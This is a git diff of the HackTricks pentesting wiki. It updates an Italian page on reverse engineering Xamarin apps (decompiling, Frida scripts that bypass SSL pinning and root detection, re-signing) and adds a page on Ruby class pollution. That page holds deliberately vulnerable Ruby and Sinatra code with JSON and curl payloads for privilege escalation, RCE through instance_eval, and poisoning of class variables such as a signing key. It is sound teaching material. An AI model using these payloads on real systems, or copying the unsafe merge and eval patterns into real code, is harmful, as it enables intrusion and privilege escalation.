Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
||||||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||||
|
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||||
* [Email Injections](pentesting-web/email-injections.md)
|
* [Email Injections](pentesting-web/email-injections.md)
|
||||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Xamarin Apps
|
# Xamarin Apps
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,22 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
## **Informazioni di Base**
|
||||||
|
|
||||||
## **Informazioni di base**
|
|
||||||
|
|
||||||
Xamarin è una **piattaforma open-source** progettata per gli sviluppatori per **creare app per iOS, Android e Windows** utilizzando i framework .NET e C#. Questa piattaforma offre accesso a numerosi strumenti ed estensioni per creare applicazioni moderne in modo efficiente.
|
Xamarin è una **piattaforma open-source** progettata per gli sviluppatori per **creare app per iOS, Android e Windows** utilizzando i framework .NET e C#. Questa piattaforma offre accesso a numerosi strumenti ed estensioni per creare applicazioni moderne in modo efficiente.
|
||||||
|
|
||||||
### Architettura di Xamarin
|
### Architettura di Xamarin
|
||||||
|
|
||||||
- Per **Android**, Xamarin si integra con i namespace Android e Java tramite binding .NET, operando all'interno dell'ambiente di esecuzione Mono insieme all'Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitano la comunicazione tra Mono e ART, entrambi costruiti sul kernel Linux.
|
* Per **Android**, Xamarin si integra con i namespace Android e Java tramite binding .NET, operando all'interno dell'ambiente di esecuzione Mono insieme all'Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitano la comunicazione tra Mono e ART, entrambi costruiti sul kernel Linux.
|
||||||
- Per **iOS**, le applicazioni vengono eseguite sotto il runtime Mono, utilizzando una compilazione completa Ahead of Time (AOT) per convertire il codice C# .NET in linguaggio assembly ARM. Questo processo si svolge insieme all'Objective-C Runtime su un kernel simile a UNIX.
|
* Per **iOS**, le applicazioni vengono eseguite sotto il runtime Mono, utilizzando una compilazione completa Ahead of Time (AOT) per convertire il codice C# .NET in linguaggio assembly ARM. Questo processo si svolge insieme all'Objective-C Runtime su un kernel simile a UNIX.
|
||||||
|
|
||||||
### Runtime .NET e Framework Mono
|
### Runtime .NET e Framework Mono
|
||||||
|
|
||||||
Il **framework .NET** include assembly, classi e namespace per lo sviluppo di applicazioni, con il Runtime .NET che gestisce l'esecuzione del codice. Offre indipendenza dalla piattaforma e compatibilità retroattiva. Il **Framework Mono** è una versione open-source del framework .NET, avviato nel 2005 per estendere .NET a Linux, ora supportato da Microsoft e guidato da Xamarin.
|
Il **framework .NET** include assembly, classi e namespace per lo sviluppo di applicazioni, con il Runtime .NET che gestisce l'esecuzione del codice. Offre indipendenza dalla piattaforma e compatibilità retroattiva. Il **Framework Mono** è una versione open-source del framework .NET, avviato nel 2005 per estendere .NET a Linux, ora supportato da Microsoft e guidato da Xamarin.
|
||||||
|
|
||||||
### Reverse Engineering delle App Xamarin
|
### Ingegneria Inversa delle App Xamarin
|
||||||
|
|
||||||
#### Decompilazione delle Assemblies Xamarin
|
#### Decompilazione delle Assemblies Xamarin
|
||||||
|
|
||||||
|
@ -38,8 +36,8 @@ La decompilazione trasforma il codice compilato di nuovo in codice sorgente. In
|
||||||
|
|
||||||
#### Compilazione JIT vs AOT
|
#### Compilazione JIT vs AOT
|
||||||
|
|
||||||
- **Android** supporta la compilazione Just-In-Time (JIT) e Ahead-Of-Time (AOT), con una modalità ibrida AOT per una velocità di esecuzione ottimale. La compilazione completa AOT è esclusiva per le licenze Enterprise.
|
* **Android** supporta la compilazione Just-In-Time (JIT) e Ahead-Of-Time (AOT), con una modalità ibrida AOT per una velocità di esecuzione ottimale. La compilazione completa AOT è esclusiva per le licenze Enterprise.
|
||||||
- **iOS** utilizza esclusivamente la compilazione AOT a causa delle restrizioni di Apple sull'esecuzione di codice dinamico.
|
* **iOS** utilizza esclusivamente la compilazione AOT a causa delle restrizioni di Apple sull'esecuzione di codice dinamico.
|
||||||
|
|
||||||
### Estrazione di file dll da APK/IPA
|
### Estrazione di file dll da APK/IPA
|
||||||
|
|
||||||
|
@ -47,15 +45,21 @@ Per accedere alle assembly in un APK/IPA, decomprimi il file ed esplora la direc
|
||||||
```bash
|
```bash
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
Per i blob di assembly in Android, [pyxamstore](https://github.com/jakev/pyxamstore) può estrarli.
|
In casi in cui, dopo aver decompilato l'APK, è possibile vedere la cartella unknown/assemblies/ con i file `.dll` al suo interno, è possibile utilizzare direttamente [**dnSpy**](https://github.com/dnSpy/dnSpy) sui `.dll` per analizzarli.\
|
||||||
|
Tuttavia, a volte, si trovano i file `assemblies.blob` e `assemblies.manifest` all'interno della cartella unknown/assemblies/. Lo strumento [pyxamstore](https://github.com/jakev/pyxamstore) può essere utilizzato per estrarre il file `assemblies.blob` nelle app Xamarin, consentendo l'accesso alle assembly .NET per ulteriori analisi:
|
||||||
```bash
|
```bash
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
```
|
```
|
||||||
i file dll di iOS sono facilmente accessibili per la decompilazione, rivelando porzioni significative del codice dell'applicazione, che spesso condivide una base comune tra diverse piattaforme.
|
i file .dll di iOS sono facilmente accessibili per la decompilazione, rivelando porzioni significative del codice dell'applicazione, che spesso condivide una base comune tra diverse piattaforme.
|
||||||
|
|
||||||
|
### Analisi Statica
|
||||||
|
|
||||||
|
Una volta ottenuti i `.dll`, è possibile analizzare il codice .Net in modo statico utilizzando strumenti come [**dnSpy**](https://github.com/dnSpy/dnSpy) **o** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **che** permetteranno di modificare il codice dell'app. Questo può essere molto utile per manomettere l'applicazione per bypassare le protezioni, ad esempio.\
|
||||||
|
Nota che dopo aver modificato l'app dovrai impacchettarla di nuovo e firmarla nuovamente.
|
||||||
|
|
||||||
### Analisi Dinamica
|
### Analisi Dinamica
|
||||||
|
|
||||||
L'analisi dinamica comporta il controllo per SSL pinning e l'uso di strumenti come [Fridax](https://github.com/NorthwaveSecurity/fridax) per modifiche in tempo reale del binario .NET nelle app Xamarin. Gli script Frida sono disponibili per bypassare il rilevamento del root o SSL pinning, migliorando le capacità di analisi.
|
L'analisi dinamica comporta il controllo del SSL pinning e l'uso di strumenti come [Fridax](https://github.com/NorthwaveSecurity/fridax) per modifiche in tempo reale del binario .NET nelle app Xamarin. Gli script Frida sono disponibili per bypassare il rilevamento del root o il SSL pinning, migliorando le capacità di analisi.
|
||||||
|
|
||||||
Altri interessanti script Frida:
|
Altri interessanti script Frida:
|
||||||
|
|
||||||
|
@ -63,14 +67,19 @@ Altri interessanti script Frida:
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||||
|
|
||||||
|
### Ri-firma
|
||||||
|
|
||||||
|
Lo strumento [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) semplifica la firma di più APK con la stessa chiave e può essere utilizzato per ri-firmare un'app dopo che sono state apportate modifiche.
|
||||||
|
|
||||||
## Ulteriori informazioni
|
## Ulteriori informazioni
|
||||||
|
|
||||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||||
|
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -78,7 +87,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
441
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,441 @@
|
||||||
|
# Ruby Class Pollution
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Questo è un riassunto del post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||||
|
|
||||||
|
## Merge on Attributes
|
||||||
|
|
||||||
|
Esempio:
|
||||||
|
```ruby
|
||||||
|
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||||
|
# Comments added to exploit the merge on attributes
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person
|
||||||
|
|
||||||
|
attr_accessor :name, :age, :details
|
||||||
|
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
@name = name
|
||||||
|
@age = age
|
||||||
|
@details = details
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method to merge additional data into the object
|
||||||
|
def merge_with(additional)
|
||||||
|
recursive_merge(self, additional)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authorize based on the `to_s` method result
|
||||||
|
def authorize
|
||||||
|
if to_s == "Admin"
|
||||||
|
puts "Access granted: #{@name} is an admin."
|
||||||
|
else
|
||||||
|
puts "Access denied: #{@name} is not an admin."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Health check that executes all protected methods using `instance_eval`
|
||||||
|
def health_check
|
||||||
|
protected_methods().each do |method|
|
||||||
|
instance_eval(method.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||||
|
def recursive_merge(original, additional, current_obj = original)
|
||||||
|
additional.each do |key, value|
|
||||||
|
|
||||||
|
if value.is_a?(Hash)
|
||||||
|
if current_obj.respond_to?(key)
|
||||||
|
next_obj = current_obj.public_send(key)
|
||||||
|
recursive_merge(original, value, next_obj)
|
||||||
|
else
|
||||||
|
new_object = Object.new
|
||||||
|
current_obj.instance_variable_set("@#{key}", new_object)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
else
|
||||||
|
current_obj.instance_variable_set("@#{key}", value)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
end
|
||||||
|
original
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
def check_cpu
|
||||||
|
puts "CPU check passed."
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_memory
|
||||||
|
puts "Memory check passed."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Admin class inherits from Person
|
||||||
|
class Admin < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"Admin"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Regular user class inherits from Person
|
||||||
|
class User < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"User"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp
|
||||||
|
def self.run(json_input)
|
||||||
|
additional_object = JSON.parse(json_input)
|
||||||
|
|
||||||
|
# Instantiate a regular user
|
||||||
|
user = User.new(
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Perform a recursive merge, which could override methods
|
||||||
|
user.merge_with(additional_object)
|
||||||
|
|
||||||
|
# Authorize the user (privilege escalation vulnerability)
|
||||||
|
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.authorize
|
||||||
|
|
||||||
|
# Execute health check (RCE vulnerability)
|
||||||
|
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.health_check
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ARGV.length != 1
|
||||||
|
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
json_input = ARGV[0]
|
||||||
|
JSONMergerApp.run(json_input)
|
||||||
|
```
|
||||||
|
### Spiegazione
|
||||||
|
|
||||||
|
1. **Escalation dei privilegi**: Il metodo `authorize` verifica se `to_s` restituisce "Admin." Iniettando un nuovo attributo `to_s` tramite JSON, un attaccante può far restituire al metodo `to_s` "Admin," concedendo privilegi non autorizzati.
|
||||||
|
2. **Esecuzione di codice remoto**: In `health_check`, `instance_eval` esegue i metodi elencati in `protected_methods`. Se un attaccante inietta nomi di metodi personalizzati (come `"puts 1"`), `instance_eval` lo eseguirà, portando a **esecuzione di codice remoto (RCE)**.
|
||||||
|
1. Questo è possibile solo perché c'è un **istruzione `eval` vulnerabile** che esegue il valore stringa di quell'attributo.
|
||||||
|
3. **Limitazione dell'impatto**: Questa vulnerabilità colpisce solo singole istanze, lasciando altre istanze di `User` e `Admin` non colpite, limitando così l'ambito di sfruttamento.
|
||||||
|
|
||||||
|
### Casi del mondo reale <a href="#real-world-cases" id="real-world-cases"></a>
|
||||||
|
|
||||||
|
### `deep_merge` di ActiveSupport
|
||||||
|
|
||||||
|
Questo non è vulnerabile per impostazione predefinita, ma può essere reso vulnerabile con qualcosa come: 
|
||||||
|
```ruby
|
||||||
|
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||||
|
def merge_with(other_object)
|
||||||
|
merged_hash = to_h.deep_merge(other_object)
|
||||||
|
|
||||||
|
merged_hash.each do |key, value|
|
||||||
|
self.class.attr_accessor key
|
||||||
|
instance_variable_set("@#{key}", value)
|
||||||
|
end
|
||||||
|
|
||||||
|
self
|
||||||
|
end
|
||||||
|
```
|
||||||
|
### Hashie’s `deep_merge`
|
||||||
|
|
||||||
|
Il metodo `deep_merge` di Hashie opera direttamente sugli attributi degli oggetti piuttosto che su hash semplici. **Impedisce la sostituzione dei metodi** con attributi in un merge con alcune **eccezioni**: gli attributi che terminano con `_`, `!` o `?` possono ancora essere uniti all'oggetto.
|
||||||
|
|
||||||
|
Un caso speciale è l'attributo **`_`** da solo. Solo `_` è un attributo che di solito restituisce un oggetto `Mash`. E poiché fa parte delle **eccezioni**, è possibile modificarlo.
|
||||||
|
|
||||||
|
Controlla il seguente esempio di come passando `{"_": "Admin"}` si riesca a bypassare `_.to_s == "Admin"`:
|
||||||
|
```ruby
|
||||||
|
require 'json'
|
||||||
|
require 'hashie'
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person < Hashie::Mash
|
||||||
|
|
||||||
|
# Method to merge additional data into the object using hashie
|
||||||
|
def merge_with(other_object)
|
||||||
|
deep_merge!(other_object)
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authorize based on to_s
|
||||||
|
def authorize
|
||||||
|
if _.to_s == "Admin"
|
||||||
|
puts "Access granted: #{@name} is an admin."
|
||||||
|
else
|
||||||
|
puts "Access denied: #{@name} is not an admin."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Admin class inherits from Person
|
||||||
|
class Admin < Person
|
||||||
|
def to_s
|
||||||
|
"Admin"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Regular user class inherits from Person
|
||||||
|
class User < Person
|
||||||
|
def to_s
|
||||||
|
"User"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp
|
||||||
|
def self.run(json_input)
|
||||||
|
additional_object = JSON.parse(json_input)
|
||||||
|
|
||||||
|
# Instantiate a regular user
|
||||||
|
user = User.new({
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# Perform a deep merge, which could override methods
|
||||||
|
user.merge_with(additional_object)
|
||||||
|
|
||||||
|
# Authorize the user (privilege escalation vulnerability)
|
||||||
|
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||||
|
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.authorize
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ARGV.length != 1
|
||||||
|
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
json_input = ARGV[0]
|
||||||
|
JSONMergerApp.run(json_input)
|
||||||
|
```
|
||||||
|
## Avvelenare le Classi <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||||
|
|
||||||
|
Nell'esempio seguente è possibile trovare la classe **`Person`**, e le classi **`Admin`** e **`Regular`** che ereditano dalla classe **`Person`**. Ha anche un'altra classe chiamata **`KeySigner`**:
|
||||||
|
```ruby
|
||||||
|
require 'json'
|
||||||
|
require 'sinatra/base'
|
||||||
|
require 'net/http'
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person
|
||||||
|
@@url = "http://default-url.com"
|
||||||
|
|
||||||
|
attr_accessor :name, :age, :details
|
||||||
|
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
@name = name
|
||||||
|
@age = age
|
||||||
|
@details = details
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.url
|
||||||
|
@@url
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method to merge additional data into the object
|
||||||
|
def merge_with(additional)
|
||||||
|
recursive_merge(self, additional)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Recursive merge to modify instance variables
|
||||||
|
def recursive_merge(original, additional, current_obj = original)
|
||||||
|
additional.each do |key, value|
|
||||||
|
if value.is_a?(Hash)
|
||||||
|
if current_obj.respond_to?(key)
|
||||||
|
next_obj = current_obj.public_send(key)
|
||||||
|
recursive_merge(original, value, next_obj)
|
||||||
|
else
|
||||||
|
new_object = Object.new
|
||||||
|
current_obj.instance_variable_set("@#{key}", new_object)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
else
|
||||||
|
current_obj.instance_variable_set("@#{key}", value)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
end
|
||||||
|
original
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class User < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||||
|
class KeySigner
|
||||||
|
@@signing_key = "default-signing-key"
|
||||||
|
|
||||||
|
def self.signing_key
|
||||||
|
@@signing_key
|
||||||
|
end
|
||||||
|
|
||||||
|
def sign(signing_key, data)
|
||||||
|
"#{data}-signed-with-#{signing_key}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp < Sinatra::Base
|
||||||
|
# POST /merge - Infects class variables using JSON input
|
||||||
|
post '/merge' do
|
||||||
|
content_type :json
|
||||||
|
json_input = JSON.parse(request.body.read)
|
||||||
|
|
||||||
|
user = User.new(
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
user.merge_with(json_input)
|
||||||
|
|
||||||
|
{ status: 'merged' }.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
# GET /launch-curl-command - Activates the first gadget
|
||||||
|
get '/launch-curl-command' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
# This gadget makes an HTTP request to the URL stored in the User class
|
||||||
|
if Person.respond_to?(:url)
|
||||||
|
url = Person.url
|
||||||
|
response = Net::HTTP.get_response(URI(url))
|
||||||
|
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||||
|
else
|
||||||
|
{ status: 'Failed to access URL variable' }.to_json
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Curl command to infect User class URL:
|
||||||
|
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||||
|
|
||||||
|
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||||
|
get '/sign_with_subclass_key' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
# This gadget signs data using the signing key stored in KeySigner class
|
||||||
|
signer = KeySigner.new
|
||||||
|
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||||
|
|
||||||
|
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||||
|
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||||
|
|
||||||
|
# GET /check-infected-vars - Check if all variables have been infected
|
||||||
|
get '/check-infected-vars' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
{
|
||||||
|
user_url: Person.url,
|
||||||
|
signing_key: KeySigner.signing_key
|
||||||
|
}.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
run! if app_file == $0
|
||||||
|
end
|
